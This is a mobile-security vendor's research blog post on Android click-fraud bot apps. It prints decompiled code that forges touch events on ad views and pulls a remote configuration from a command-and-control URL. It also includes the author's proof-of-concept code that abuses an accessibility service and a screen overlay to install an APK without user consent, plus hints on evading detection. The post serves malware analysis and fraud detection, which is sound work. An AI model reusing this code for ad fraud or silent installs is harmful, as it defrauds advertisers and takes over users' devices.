Spyware spies on you. Ransomware demands a ransom to decrypt your private digital data. Phishing Malware phishes for your username, password or account numbers. Installation-fraud achieves fake software installations. Ad fraud fraudulently represents online advertisement impressions, clicks, conversion or data events in order to generate financial gain for the developer. And finally, there is Click fraud.
Click fraud (CF) is a type of Ad fraud that abuses online pay-per-click advertising in which an advertiser pays a publisher when the ad is clicked and is big business for developers.
Conservative estimates from the Interactive Advertising Bureau attributes revenue from Ad fraud at 8.2 billion US Dollars, making it a top income generating cybercrime.
Clicking Bot Applications (CBA) use various methods in order to simulate user clicks to generate revenue, what Ads are to be targeted, how the CBAs are controlled by their command and control (C&C) server and how to avoid the detection methods that are commonly used against them.
Although those CBAs are utilized for a fraudulent financial gain at the expense of the advertisers and publishers, some of CBAs’ methods and functionality can easily be utilized for Ransomware, Spyware, and other Malware types.
Zimperium’s core machine learning engine, z9 for Mobile Malware, detects previously unknown malicious applications and zero-day exploits. As a part of the z9 validation of the machine learning detection for malware, several Android Potentially Harmful Applications (PHAs) that were CBAs and part of a Malware Botnet that controls its CBAs activity were found.
My recent CBA research identified several circumstances where the clicks can be identified and by which means. I tried several methods and after changing the CBA’s code, I determined what should be added in order to achieve an efficient CBA result. I also tried other auto clicking methods that can be used, but this post won’t technically specify any additional improvements for CBA activity.
One of the CBA’s methods tried to defraud the Facebook Audience Network. After we, the Zimperium malware team, identified the CBA, we informed the Traffic Quality and Fraud team at Facebook about the malicious apps. We provided the application’s details, the SDK’s account ids and auto clicks we were able to reproduce so Facebook could decide how to react. They promptly removed the apps from the Audience Network and informed us that our research enabled them to find a set of apps that were using this same attack vector. Our research helped confirm the apps were indeed malicious and remove the chances the clicks were from bots and not real users.
Below I provide segments of decompiled-deobfuscated code and Android API references on which you can press the URL link or let a CBA do it for you!
As a part of our Android defense activity, the Zimperium malware team identified a few APKs classified as a PHAs.
By investigating the PHAs’ referenced file hosted on a cloudfront.net CDN domain, the team managed to find a few other configuration files and a few APKs connected to old Ztorg C&C plugins.
The old Ztorg C&C malicious activity engaged with:
The latest malware network adds additional CBA and adware malicious activity:
In this post will specify the last two auto-clicking methodologies.
For the legitimate use of UI testing and development, the ViewGroup.dispatchTouchEvent allows simulation of a user touch by sending a MotionEvent to the targeted ViewGroup UI component.
A CBA can abuse this and be able to click on its own application UI components, therefore, it can be fraudulently used for clicking on the applications’ own Ads banners.
The Advertisement framework can easily detect this type of fraud per single device by:
The CBA will try to overcome the Advertisement framework by performing the following actions:
A few more central CBA infrastructure features:
Let us review the decompiled code of the com.life.read.physical.trian application.
All comments in the code were added by zLabs. Some code was removed to shorten the code snippets.
public class MainActivity extends SlidingFragmentActivity implements View.OnClickListener, View.OnTouchListener { |
public boolean onTouch(View view, MotionEvent motionEvent) { |
if(motionEvent.getAction() == 0) { |
ClickSimulator.getMotionEventInfo(((Context)this), motionEvent); |
} |
return 0; |
} |
public class MotionEventInfo { |
public static MotionEventInfo setInfo(String name) { |
MotionEventInfo options; |
try { |
options = new MotionEventInfo(); |
JSONObject JSON_Obj = new JSONObject(name); |
options.deviceId = JSON_Obj.optInt("de"); |
options.pressure = JSON_Obj.optDouble("pr"); |
options.size = JSON_Obj.optDouble("si"); |
options.xprecision = JSON_Obj.optDouble("xp"); |
options.yprecision = JSON_Obj.optDouble("yp"); |
options.metaState = JSON_Obj.optInt("me"); |
options.edgeFlags = JSON_Obj.optInt("ed"); |
} |
catch(Exception ex) { |
options = null; |
} |
return options; |
} |
} |
} |
public class FacebookAdsManager { |
private void triggerAutoClick() { |
int randomInt = 10000; |
long cTimeZero = 0; |
if(("1".equals(ConfigurationManager.getAutoClick())) && new Random().nextInt(100) + 1 <= Integer.valueOf(ConfigurationManager.getClickRate()).intValue()) { |
this.simulate_click = this.ctx.getSharedPreferences("simulate_click", 0); |
this.simulate_click_edit = this.simulate_click.edit(); |
if(this.simulate_click.getLong("cTime", cTimeZero) - System.currentTimeMillis() >= 60000) { |
new Thread(new Runnable(new Random().nextInt(randomInt) + 5000) { |
public void run() { |
try { |
Thread.sleep(((long)FacebookAdsManager.sleepTime)); |
Message msg = new Message(); |
msg.what = 0x888; |
FacebookAdsManager.getFacebookAdsManagerHandler(context).sendMessage(msg); |
} |
catch(InterruptedException ex) { |
ex.printStackTrace(); |
} |
} |
}).start(); |
} |
} |
} |
} |
public class FacebookAdsManager { |
public void handleMessage(Message msg) { |
int ten = 10; |
super.handleMessage(msg); |
if(msg.what == 0x888) { |
FacebookAdsManager instance = this.instance; |
Context ctx = FacebookAdsManager.getContext(this.instance); |
FacebookAdsManager.getContext(this.instance); |
FacebookAdsManager.setSimulateClick(instance, ctx.getSharedPreferences("simulate_click", 0)); |
FacebookAdsManager.set_simulate_click_edit(this.instance, FacebookAdsManager.getSimulateClickEdit(this.instance)); |
FacebookAdsManager.getSimulateClickEdit(this.instance).putLong("cTime", System.currentTimeMillis()); |
FacebookAdsManager.getSimulateClickEdit(this.instance).apply(); |
int randomNumber = new Random().nextInt(13) + 1; |
if(randomNumber == 1) { |
ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_title(this.instance)); |
} |
else if(randomNumber == 2) { |
ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_icon(this.instance)); |
} |
else { |
if(randomNumber >= 3 && randomNumber <= 8) { |
ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_media_xc(this.instance)); |
return; |
} |
if(randomNumber == 9) { |
ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_social_context(this.instance)); |
return; |
} |
if(randomNumber == ten) { |
ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_body(this.instance)); |
return; |
} |
if(randomNumber <= ten) { |
return; |
} |
ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_call_to_action(this.instance)); |
} |
} |
} |
} |
public class ClickSimulator { |
public static int getRandomPositionInRange(int min, int max) { |
int halfSize = (max - min) / 2; |
int value = Double.valueOf(Math.sqrt((((double)(max - min))) * 1 / 4) * new Random().nextGaussian() + (((double)halfSize))).intValue() + min; |
if(value < min || value > max) { |
value = halfSize + min; |
} |
return value; |
} |
public static String getSimulateClickID(Context ctx) { |
return ctx.getSharedPreferences("simulate_click", 0).getString("id", ""); |
} |
public static void getMotionEventInfo(Context ctx, MotionEvent motionEvent) { |
int deviceId = motionEvent.getDeviceId(); |
float pressure = motionEvent.getPressure(); |
float size = motionEvent.getSize(); |
float Xprecision = motionEvent.getXPrecision(); |
float Yprecision = motionEvent.getYPrecision(); |
int metaState = motionEvent.getMetaState(); |
int edgeFlags = motionEvent.getEdgeFlags(); |
MotionEventInfo info = new MotionEventInfo(); |
info.set_deviceId(deviceId); |
info.set_pressure(((double)pressure)); |
info.set_size(((double)size)); |
info.set_xprecision(((double)Xprecision)); |
info.set_yprecision(((double)Yprecision)); |
info.set_metaState(metaState); |
info.set_edgeFlags(edgeFlags); |
ClickSimulator.setSimulateClickID(ctx, MotionEventInfo.getInto(info)); |
} |
public static void setSimulateClickID(Context ctx, String simulate_click_id) { |
SharedPreferences.Editor simulate_click_edit = ctx.getSharedPreferences("simulate_click", 0).edit(); |
simulate_click_edit.putString("id", simulate_click_id); |
simulate_click_edit.commit(); |
} |
public static void executeAutoClick(Context ctx, View view) { |
Log.v("auto_click", "AutoSimulateClick"); |
int viewWidth = view.getWidth(); |
int viewHeight = view.getHeight(); |
float randomXPosition = ((float)ClickSimulator.getRandomPositionInRange(0, viewWidth)); |
float randomYPosition = ((float)ClickSimulator.getRandomPositionInRange(0, viewHeight)); |
float randomXPosition_1 = randomXPosition + (((float)ClickSimulator.getRandomPositionInRange(0, 999999))) * 1f / 100000f; |
float randomYPosition_1 = randomYPosition + (((float)ClickSimulator.getRandomPositionInRange(0, 999999))) * 1f / 100000f; |
String clickID = ClickSimulator.getSimulateClickID(ctx); |
Log.v("auto_click", "getMotionEventBean: " + clickID); |
MotionEventInfo info = MotionEventInfo.setInfo(clickID); |
if(info != null) { |
float pressure = Double.valueOf(info.get_pressure()).floatValue(); |
randomYPosition = Double.valueOf(info.get_size()).floatValue(); |
float Xprecision = Double.valueOf(info.get_xprecision()).floatValue(); |
float Yprecision = Double.valueOf(info.get_yprecision()).floatValue(); |
int metaState = info.get_metaState(); |
int deviceId = info.get_deviceId(); |
int edgeFlags = info.get_edgeFlags(); |
float size = randomYPosition + ((((float)ClickSimulator.getRandomPositionInRange(0, 1764707))) * 1f / 1000000000f - 0.000865f); |
long downTime = SystemClock.uptimeMillis(); |
int randomCount = ClickSimulator.randomValueBetween(0, 4); |
MotionEvent motionEvent = MotionEvent.obtain(downTime, downTime, 0, randomXPosition_1, randomYPosition_1, pressure, size, metaState, Xprecision, Yprecision, deviceId, edgeFlags); |
view.dispatchTouchEvent(motionEvent); |
int count = 0; |
float size_1 = size; |
long eventTime = downTime; |
while(count < randomCount) { |
eventTime += ((long)ClickSimulator.getRandomPositionInRange(15, 43)); |
if(count == randomCount - 1) { |
size_1 = size; |
} |
else { |
size_1 += (((float)ClickSimulator.getRandomPositionInRange(0, 1764707))) * 1f / 1000000000f; |
} |
MotionEvent motionEvent_1 = MotionEvent.obtain(downTime, eventTime, 2, randomXPosition_1, randomYPosition_1, pressure, size_1, metaState, Xprecision, Yprecision, deviceId, edgeFlags); |
view.dispatchTouchEvent(motionEvent_1); |
motionEvent_1.recycle(); |
++count; |
} |
MotionEvent motionEvent_2 = MotionEvent.obtain(downTime, (((long)ClickSimulator.getRandomPositionInRange(15, 43))) + eventTime, 1, randomXPosition_1, randomYPosition_1, pressure, size, metaState, Xprecision, Yprecision, deviceId, edgeFlags); |
view.dispatchTouchEvent(motionEvent_2); |
motionEvent.recycle(); |
motionEvent_2.recycle(); |
} |
} |
public static int randomValueBetween(int min, int max) { |
return Double.valueOf(Math.random() * (((double)(max - min)))).intValue() + min; |
} |
} |
public class ConfigurationManager { |
ConfigurationManager.weight = "1,2,3"; |
ConfigurationManager.auto_unlock = "0"; |
ConfigurationManager.auto_click = "0"; |
ConfigurationManager.unlock_rate = "30"; |
ConfigurationManager.clickRate = "20"; |
ConfigurationManager.boost_rate = "70"; |
ConfigurationManager.guideRate = "70"; |
ConfigurationManager.mainRate = "70"; |
ConfigurationManager.backMainRate = "20"; |
//EncodedStrings.Conf_URL = //"KlxjwlUOCqlLgV3u9mMAxIXFLiBVC3kFgD61kUQ9LrgsCXaRrakpA6w6dz6fYHnmgD3szNftnlw="; |
// http://txt.kuxwmuzuz.com/app/phonecleanerpro/conf.txt |
URLConnection connection = new URL(AESDecoder.AESDecode(EncodedStrings.AES_Key, EncodedStrings.Conf_URL)).openConnection(); |
BufferedReader br = new BufferedReader(new InputStreamReader(((HttpURLConnection)connection).getInputStream())); |
StringBuilder sb = new StringBuilder(); |
while(true) { |
String line = br.readLine(); |
if(line == null) { |
break; |
} |
sb.append(line); |
} |
if(!TextUtils.isEmpty(sb.toString())) { |
JSONObject JSON_Obj = new JSONObject(sb.toString()); |
ConfigurationManager.setWeight(JSON_Obj.getString("weight")); |
ConfigurationManager.setAutoUnlock(JSON_Obj.optString("auto_unlock")); |
ConfigurationManager.setAutoClick(JSON_Obj.optString("auto_click")); |
ConfigurationManager.setUnlockRate(JSON_Obj.optString("unlock_rate")); |
ConfigurationManager.setClickRate(JSON_Obj.optString("click_rate")); |
ConfigurationManager.setBoostRate(JSON_Obj.optString("boost_rate")); |
ConfigurationManager.setGuideRate(JSON_Obj.optString("guide_rate")); |
ConfigurationManager.setMainRate(JSON_Obj.optString("main_rate")); |
ConfigurationManager.setBackMainRate(JSON_Obj.optString("back_main_rate")); |
} |
} |
public class GeneralAdsManger { |
public void loadAd(Context ctx, RelativeLayout layout, int index) { |
String[] weight = ConfigurationManager.getWeight().split(","); |
String weightCode = weight[index].trim(); |
int ad_id = -1; |
switch(weightCode.hashCode()) { |
case 49: { |
if(weightCode.equals("1")) { |
ad_id = 0; |
} |
break; |
} |
case 50: { |
if(weightCode.equals("2")) { |
ad_id = 1; |
} |
break; |
} |
case 51: { |
if(weightCode.equals("3")) { |
ad_id = 2; |
} |
break; |
} |
case 52: { |
if(weightCode.equals("4")) { |
ad_id = 3; |
} |
break; |
} |
} |
switch(ad_id) { |
case 0: { |
Log.v("all_sdk", "select FaceBookAd"); |
FacebookAdsManager.getInstance().loadFacebokAd(ctx, layout, index); |
break; |
} |
case 1: { |
Log.v("all_sdk", "select adx"); |
AdxAdsManager.getInstance().loadAdxAd(ctx, layout, index); |
break; |
} |
case 2: { |
Log.v("all_sdk", "select AdmobAd"); |
AdMobAdsManager.getInstance().loadAdMobAd(ctx, layout, index); |
break; |
} |
} |
} |
public static GeneralAdsMangerArranged getInstance() { |
if(GeneralAdsMangerArranged.instance == null) { |
GeneralAdsMangerArranged.instance = new GeneralAdsMangerArranged(); |
} |
return GeneralAdsMangerArranged.instance; |
} |
private static GeneralAdsMangerArranged instance; |
static { |
GeneralAdsMangerArranged.instance = null; |
} |
public GeneralAdsMangerArranged() { |
super(); |
} |
public void removeAd(Context ctx, int index) { |
String selectedWeight = ConfigurationManager.getWeight().split(",")[index].trim() + 0; |
int ad_id = -1; |
switch(selectedWeight.hashCode()) { |
case 49: { |
if(selectedWeight.equals("1")) { |
ad_id = 0; |
} |
break; |
} |
case 50: { |
if(selectedWeight.equals("2")) { |
ad_id = 1; |
} |
break; |
} |
case 51: { |
if(selectedWeight.equals("3")) { |
ad_id = 2; |
} |
break; |
} |
case 52: { |
if(selectedWeight.equals("4")) { |
ad_id = 3; |
} |
break; |
} |
} |
switch(ad_id) { |
case 0: { |
FacebookAdsManager.getInstance().removeFacebookAd(ctx, index); |
break; |
} |
case 1: { |
AdxAdsManager.getInstance().removeAdxAd(ctx, index); |
break; |
} |
case 2: { |
AdMobAdsManager.getInstance().removeAdMobAd(ctx, index); |
break; |
} |
} |
} |
} |
public void loadFacebokAds(final Context ctx, final RelativeLayout layout, final int count) { |
this.native_ad_layout = LayoutInflater.from(ctx).inflate(layout.native_ad_layout, ((ViewGroup)layout), false); |
layout.removeAllViews(); |
layout.addView(this.native_ad_layout); |
this.native_ad_icon = this.native_ad_layout.findViewById(id.native_ad_icon); |
this.native_ad_title = this.native_ad_layout.findViewById(id.native_ad_title); |
this.native_ad_media_xc = this.native_ad_layout.findViewById(id.native_ad_media_xc); |
// load all other ad parts... |
View img_cancel = this.native_ad_layout.findViewById(id.img_cancel); |
// if no ads components are previously found |
if(FacebookAdsManager.cow_arraylist == null || FacebookAdsManager.cow_arraylist.size() == 0) { |
Log.v("all_sdk", "facebook原生广告start"); //facebook native ads strt |
this.nativeAd = new NativeAd(ctx, AESDecoder.AESDecode(EncodedStrings.AES_Key, EncodedStrings.native_ad_FB_id_1)); |
this.nativeAd.setAdListener(new AdListener(ctx, count, layout, ((ImageView)img_cancel)) { |
public void onAdLoaded(Ad ad) { |
Log.v("all_sdk", "facebook原生广告load ok"); |
if(FacebookAdsManager.getNativeAd(FacebookAdsManager.instance) != null) { |
FacebookAdsManager.get_native_ad_title(FacebookAdsManager.instance).setText(FacebookAdsManager.getNativeAd(FacebookAdsManager.instance).getAdTitle()); |
FacebookAdsManager.get_native_ad_social_context(FacebookAdsManager.instance).setText(FacebookAdsManager.getNativeAd(FacebookAdsManager.instance).getAdSocialContext()); |
FacebookAdsManager.get_native_ad_body(FacebookAdsManager.instance).setText(FacebookAdsManager.getNativeAd(FacebookAdsManager.instance).getAdBody()); |
// load all other ad parts... |
SharedPreferences.Editor native_ad_edit = this.getSharedPreferences("native_ad", 0).edit(); |
native_ad_edit.putLong("show_native_ad_time", System.currentTimeMillis()); |
native_ad_edit.apply(); |
FacebookAdsManager.getNativeAd(FacebookAdsManager.this).registerViewForInteraction(this.c, ((List)list)); |
FacebookAdsManager.triggerAutoClick(FacebookAdsManager.instance); |
} |
else { |
if(count == 2) { |
return; |
} |
//load the app other ads for CBA activity |
GeneralAdsManger.getInstance().loadAd(ctx, layout, count + 1); |
} |
} |
public void onError(Ad ad, AdError adError) { |
Log.v("all_sdk", "facebook原生广告错误" + adError.getErrorMessage()); |
HashMap errors = new HashMap(); |
errors.put("facebook_native_show_error", adError.getErrorMessage()); |
if(count != 2) { |
GeneralAdsManger.getInstance().loadAd(ctx, layout, count + 1); |
} |
} |
}); |
} |
else { |
FacebookAdsManager.cow_arraylist.get(0).setNativeAdEnabled(true); |
this.native_ad_title.setText(FacebookAdsManager.cow_arraylist.get(0).getNativeAd().getAdTitle()); |
this.native_ad_social_context.setText(FacebookAdsManager.cow_arraylist.get(0).getNativeAd().getAdSocialContext()); |
// set content to the ads parts... |
this.native_ad_layout.findViewById(id.ad_choices_container).addView(new AdChoicesView(ctx, FacebookAdsManager.cow_arraylist.get(0).getNativeAd(), true)); |
ArrayList view_list = new ArrayList(); |
((List)view_list).add(this.native_ad_title); |
((List)view_list).add(this.native_ad_call_to_action); |
((List)view_list).add(this.native_ad_icon); |
// add the ads components |
if(new Random().nextInt(100) + 1 <= Integer.valueOf(ConfigurationManager.getGuideRate()).intValue()) { |
((List)view_list).add(img_cancel); |
} |
else { |
((ImageView)img_cancel).setOnClickListener(new View.OnClickListener(layout) { |
public void onClick(View view) { |
this.view.setVisibility(8); // GONE |
} |
}); |
} |
if(FacebookAdsManager.cow_arraylist.get(0).getNativeAd() != null) { |
FacebookAdsManager.cow_arraylist.get(0).getNativeAd().registerViewForInteraction(((View)layout), ((List)view_list)); |
this.triggerAutoClick(); |
} |
else if(count != 2) { |
//load the app other ads for CBA activity |
GeneralAdsManger.getInstance().loadAd(ctx, layout, count + 1); |
} |
SharedPreferences.Editor native_ad_editor = ctx.getSharedPreferences("native_ad", 0).edit(); |
native_ad_editor.putLong("show_native_ad_time", System.currentTimeMillis()); |
native_ad_editor.apply(); |
FacebookAdsManager.cow_arraylist.remove(0); |
} |
} |
An accessibility service is an Android Service that provides user interface enhancements to assist users with disabilities, or who may temporarily be unable to fully interact with a device.
Accessibility services should only be used to assist users with disabilities in using Android devices and apps. The service grants an app the ability to discover UI widgets displayed on the screen, query the content of these widgets, and interact with them programmatically, all as a means to make Android devices more accessible to users with disabilities.
Malware has been using the Accessibility Service Abuse (ASA) for severe Malware attacks like the recent DoubleLocker Ransomware and the Shedun malwares (also known as Kemoge, Shiftybug and Shuanet).
The usage of the Accessibility Service and/or the Draw on Top permissions that allows an app to create windows shown on top of all other apps was defined as the Cloak & Dagger attacks. These attacks together allow a malicious app to completely control the UI feedback loop and take over the device will not be noticeable to the user.
Unlike the previous CBA that required no permission, the Cloak & Dagger (C&D) attacks require the SYSTEM_ALERT_WINDOW (Draw on Top) and BIND_ACCESSIBILITY_SERVICE (Accessibility Service) permissions, but the SYSTEM ALERT WINDOW permission is automatically granted for apps installed from the Play Store.
The abuse of both permissions can maliciously gain some of the worst malware capabilities:
Let us show how an Android CBA installs another Android application without user consent by abusing the Accessibility Service.
While Ad fraud clicks are noticeable on a device as described in the previous CBA method, installation fraud or traffic fraud cannot be discovered on device, but might be discovered by other server side information based identification.
This post is about the research of the revenue that CBA networks earn, therefore, the applications are likely to install just more Adware or CBAs. Nevertheless, a CBA that has the permissions to commit a C&D attack can become worst than just an Ads fraud clicking because:
I found malware that uses auto clicks for application installation, but I would rather display my own proof of concept clean code samples than partly obfuscate reverse-engineered code.
The following example will install an application by doing:
<service |
android:name=".AccessibilityServiceImpl" |
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> |
<intent-filter> |
<action android:name="android.accessibilityservice.AccessibilityService"/> |
</intent-filter> |
<meta-data |
android:name="android.accessibilityservice" |
android:resource="@xml/help"/> |
</service> |
private static final String SERVICE_NAME = "money.for.nothing/.AccessibilityServiceImpl"; |
private boolean isAccessibilityServiceEnabled() { |
List<AccessibilityServiceInfo> accessibilityServices = |
mAccessibilityManager.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_GENERIC); |
for (AccessibilityServiceInfo info : accessibilityServices) { |
if (info.getId().equals(SERVICE_NAME)) { |
return true; |
} |
} |
Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS); |
startActivity(intent); |
return false; |
} |
final WindowManager.LayoutParams params = new WindowManager.LayoutParams( |
WindowManager.LayoutParams.MATCH_PARENT, |
WindowManager.LayoutParams.MATCH_PARENT, |
WindowManager.LayoutParams.TYPE_SYSTEM_ALERT, |
WindowManager.LayoutParams.FLAG_FULLSCREEN, |
PixelFormat.TRANSLUCENT); |
LayoutInflater li = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE); |
View mainView = null; |
switch (process) { |
case PAYMENT: |
mainView = li.inflate(R.layout.money_for_nothing_installing, null); |
break; |
case LOCATION: |
mainView = li.inflate(R.layout.money_for_nothing_setting, null); |
break; |
case UNINSTALL: |
mainView = li.inflate(R.layout.money_for_nothing_searching, null); |
Break; |
case INSTALL: |
mainView = li.inflate(R.layout.money_for_nothing_loading, null); |
Break; |
} |
final View finalMainView = mainView; |
_windowManager.addView(mainView, params); |
String path = "/storage/emulated/legacy/Download/zanti3.01.apk"; |
if (isAccessibilityServiceEnabled()) { |
Intent promptInstall = new Intent(Intent.ACTION_VIEW) |
.setDataAndType(Uri.parse("file://"+ path), |
"application/vnd.android.package-archive"); |
startActivity(promptInstall); |
} |
public class HelpService extends AccessibilityService { |
private static final CharSequence PACKAGE = "com.android.packageinstaller; |
@TargetApi(Build.VERSION_CODES.JELLY_BEAN) @Override public void onAccessibilityEvent(final AccessibilityEvent event) { |
if(null == event || null == event.getSource()) { return; } |
if(event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED && |
event.getPackageName().equals("com.android.packageinstaller")){ |
if(className.endsWith("PackageInstallerActivity")){ |
simulationClick(event, "Install"); |
} |
} |
} |
@TargetApi(Build.VERSION_CODES.JELLY_BEAN) private void simulationClick(AccessibilityEvent event, String text){ |
Log.v("click", "simulationClick: "+ text); |
List<AccessibilityNodeInfo> nodeInfoList = event.getSource().findAccessibilityNodeInfosByText(text); |
for (AccessibilityNodeInfo node : nodeInfoList) { |
if (node.isClickable() && node.isEnabled()) { |
node.performAction(AccessibilityNodeInfo.ACTION_CLICK); |
} |
} |
} |
@Override public void onInterrupt() { } |
} |
The malware had also implemented some other typical malware features in order to avoid malware detection by the google play:
<application android:name=“org.gro.jp.fjksbxcvbcxnnxlsdtApp” …>
<activity android:name=“com.pronclub.GdetailActivity” />
<activity android:name=“com.pronclub.GwebActivity” />
<activity android:name=“com.pronclub.GpointActivity” />
DexClassLoader dLoader = new DexClassLoader(str, str2, str4, (ClassLoader) fjksbxcvbcxnnxswdpkff.getFieldfjksbxcvbcxnnxklOjbect(fjksbxcvbcxnnxalldd[3], wrfjksbxcvbcxnnx.get(), fjksbxcvbcxnnxalldd[4]));
The CBA has an accessibility service names “Play decoder++”. The application code name him “auto install service” which indicates on his real function.
<string name=”acc_auto_install_service_name”>[Decoder] Play Decoder++</string>
<service android_label=”@string/acc_auto_install_service_name” android_name=”com.ted.android.service.bni” android_permission=”android.permission.BIND_ACCESSIBILITY_SERVICE”>
Click fraud is tricky and coded to evade detection. Let’s take look at some of the methods and parameters one should question when determining if an app is fraudulently clicking outside of user interaction.
When a user clicks on an Android UI component (ViewGroup) the OS or the Ads SDK parameters seen on the device will look like the following output. For example, a user click event produces two MotionsEvent for pressing down and lifting up.
MotionEvent { action=ACTION_DOWN, id[0]=0, x[0]=198.75, y[0]=63.42859, toolType[0]=TOOL_TYPE_FINGER, buttonState=0, metaState=0, flags=0x0, edgeFlags=0x0, pointerCount=1, historySize=0, eventTime=18381654, downTime=18381654, deviceId=6, source=0x1002 }
MotionEvent { action=ACTION_UP, id[0]=0, x[0]=198.75, y[0]=63.42859, toolType[0]=TOOL_TYPE_FINGER, buttonState=0, metaState=0, flags=0x0, edgeFlags=0x0, pointerCount=1, historySize=0, eventTime=18381742, downTime=18381654, deviceId=6, source=0x1002 }
Let us define on-device-detection: whether the fraud click can be noticed by observing the above MotionEvent parameters.
The Android API ‘Dispatch Touch Event:
As previously presented here.
If done as in the above decompiled com.life.read.physical.trian code, few parameters extradite the fraud.
Firstly, the source=0x1002, secondly the ‘toolType[0]=TOOL_TYPE_UNKNOWN’.
Saving references and recycling a few Android UI components like MotionEvent.PointerCoords, MotionEvent.PointerProperties, setting a few more “sources” and using reflection in few places over the private API will gain a result that apparently cannot be noticed on a device!
And then, if used wisely, there is money for nothing.
Accessibility Service abuse:
As previously presented here.
The click event can be noticed on device as the ‘toolType[0]=TOOL_TYPE_UNKNOWN’ parameter extradite the fraud.
While Ads fraud can notice Ads clicking fraud on device, installation fraud or traffic are not to be discovered on device, but might be discovered by other server side information based identification.
Using Android lower level layer Input Pipeline:
The Android input subsystem nominally consists of an event pipeline that traverses multiple layers of the system. A shell user can use the “input” binary to create touch events.
The click event can be noticed on device as the ‘toolType[0]=TOOL_TYPE_UNKNOWN’ parameters extradite the fraud.
Reflection over the “InputManager” class injectInputEvent method:
Using Java’s Reflection API, over the InputManager.
The click event can be noticed on device as the ‘toolType[0]=TOOL_TYPE_UNKNOWN’ parameter that extradites the fraud.
There are other ways for committing Ad fraud, installation fraud and data traffic fraud that were not mentioned like:
CBAs are becoming increasingly sophisticated. App developers with access to the latest developer kits can be very creative in order to game the system. Given all of the variables, CBAs might evade detection entirely unless there is a more clever and real-time method to rid them from our devices.
In the future, leading Ad providers will demand a defensive mechanism or insurance against bot and click fraud so they aren’t paying out money as a result of fraud. App developers will need to provide comprehensive protection like zIAP™ to detect fraud and mobile malware in real-time. If such a protection isn’t provided, it is most likely that an untrustworthy developer or unprotected device will earn less revenue per click.
I hope that you benefitted from our examples and documented case studies on Click Fraud. zLabs performs this type of research on apps, mobile operating systems, and hardware to deliver the best mobile security products and services to protect your personal and corporate information.
If you have a specific question or would like to provide feedback to zLabs or any other team, please use our Contact Us page to initiate a query.
I would like to thank all the zLabs researchers, especially Matteo Favaro (@fvrmatteo) for the above research.
I hope that you enjoyed your reading. You can share it if you like it, or let the CBA do it for you!